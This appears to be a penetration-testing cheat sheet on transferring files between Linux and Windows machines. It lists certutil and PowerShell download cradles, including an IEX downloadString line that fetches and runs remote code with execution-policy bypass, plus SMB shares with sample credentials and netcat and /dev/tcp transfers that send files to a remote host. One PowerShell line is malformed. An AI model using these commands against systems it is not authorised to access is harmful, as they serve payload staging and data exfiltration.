# File Transfer

## From Linux to Windows

Establish a web server with Python in the path where the desired file is:

{% tabs %}
{% tab title="Python3" %}

```bash
python3 -m http.server 8000
```

{% endtab %}

{% tab title="Python2\*" %}

```bash
python2.7 -m SimpleHTTPServer 8000
```

{% endtab %}
{% endtabs %}

### certutil.exe

```powershell
certutil.exe -f -urlcache -split http://10.10.10.10:8000/file file
```

### Using PowerShell

```powershell
powershell -exec bypass -nop -c "(New-ObjectNet.WebClient).DownloadFile('http://10.10.10.10:8000/file')
```

```powershell
powershell IWR -uri http://10.10.10.10:8000/file -OutFile C:\\Users\carlos.rino\Desktop\file
```

```powershell
powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.10.10:8000/file')
```

```powershell
Invoke-WebRequest http://10.10.10.10:8000/file -o file          
```

### Using a shared folder

Serve the file:

```bash
smbserver.py mysharedfolder $(pwd)
```

```bash
smbserver.py mysharedfolder $(pwd) -username lanz -password lanz321
```

```bash
smbserver.py mysharedfolder $(pwd) -smb2support -username lanz -password lanz321
```

Upload the file:

```powershell
net use \\10.10.10.10\mysharedfolder /u:lanz lanz321
net use Y: \\10.10.10.10\mysharedfolder /u:lanz lanz321
net view \\10.10.10.10
```

```powershell
copy \\10.10.10.10\mysharedfolder\file file
```

## From Linux to Linux

### netcat (I)

Origin machine:

```bash
nc -lvp 4450 < file
```

Destination machine:

```bash
nc 10.10.10.10 4450 > file
```

### netcat (II)

Origin machine:

```bash
nc -lvp 4450 < file
```

Destination machine:

```bash
cat < /dev/tcp/10.10.10.10/4450 > file
```

### netcat (III)

Destination machine:

```bash
nc -lvp 4450 > file
```

Origin machine:

```bash
cat file > /dev/tcp/10.10.10.10/4450
```

## Windows to Linux

### Using a shared folder

Serve the file:

```bash
smbserver.py mysharedfolder $(pwd)
```

```bash
smbserver.py mysharedfolder $(pwd) -username lanz -password lanz321
```

```bash
smbserver.py mysharedfolder $(pwd) -smb2support -username lanz -password lanz321
```

Copy the file:

```powershell
net use \\10.10.10.10\mysharedfolder /u:lanz lanz321
net use Y: \\10.10.10.10\mysharedfolder /u:lanz lanz321
net view \\10.10.10.10
dir Y:\
```

```
copy file.zip \\10.10.10.10\mysharedfolder\file.zip
```

## Validate integrity file

```bash
md5sum file_name
```
